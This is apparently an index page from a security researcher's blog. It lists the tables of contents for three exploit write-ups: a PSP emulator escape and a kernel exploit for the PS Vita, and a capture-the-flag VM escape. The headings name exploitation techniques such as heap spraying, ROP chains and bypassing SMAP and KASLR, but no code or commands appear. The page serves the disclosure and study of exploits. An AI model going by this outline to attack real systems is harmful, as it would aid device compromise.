Thanks to SpecterDev and abertschi for reading over the write-up and giving me feedback.

TheFloW’s security blog

Trinity: PSP Emulator Escape

Table of Contents

Introduction

MIPS Kernel Exploit

Type Confusion

Double-fetch Race Condition

PSP Emulator Escape

Stack Smash

CSC Arbitrary Read

Designing a RPC System

ARM Kernel Exploit

Stack Disclosure

Heap Overflow

Post-exploitation

Conclusion

Credits

chromacity: Escaping the VM with Newlines

Table of Contents

The Challenge

The Vulnerability

Exploitation

The Strategy

Heap Information Disclosure

Heap Spraying

The First Overflow

Finding the Corruption

The Second Overflow

Arbitrary Read Primitive

Arbitrary Code Execution

Finding system()

Capturing the Flag

Conclusion

Credits

h-encore: PS Vita Kernel Exploit

Table of Contents

Introduction

Userland Exploit

Finding a gamesave exploit

Buffer Overflow

Partial ASLR

Return Oriented Programming

Writing ROP chains

Kernel Exploit

Design Flaws

Insufficient Checkings

memcpy, or more like memecpy

Exploitation

Bypassing SMAP

Getting the kernel stack base address

Implementing a conditional loop in ROP

Defeating Kernel ASLR

Choosing an OOB target

Controlling the OOB write

Kernel ROP Execution

Post-exploitation

Sony’s Patch

Conclusion

Credits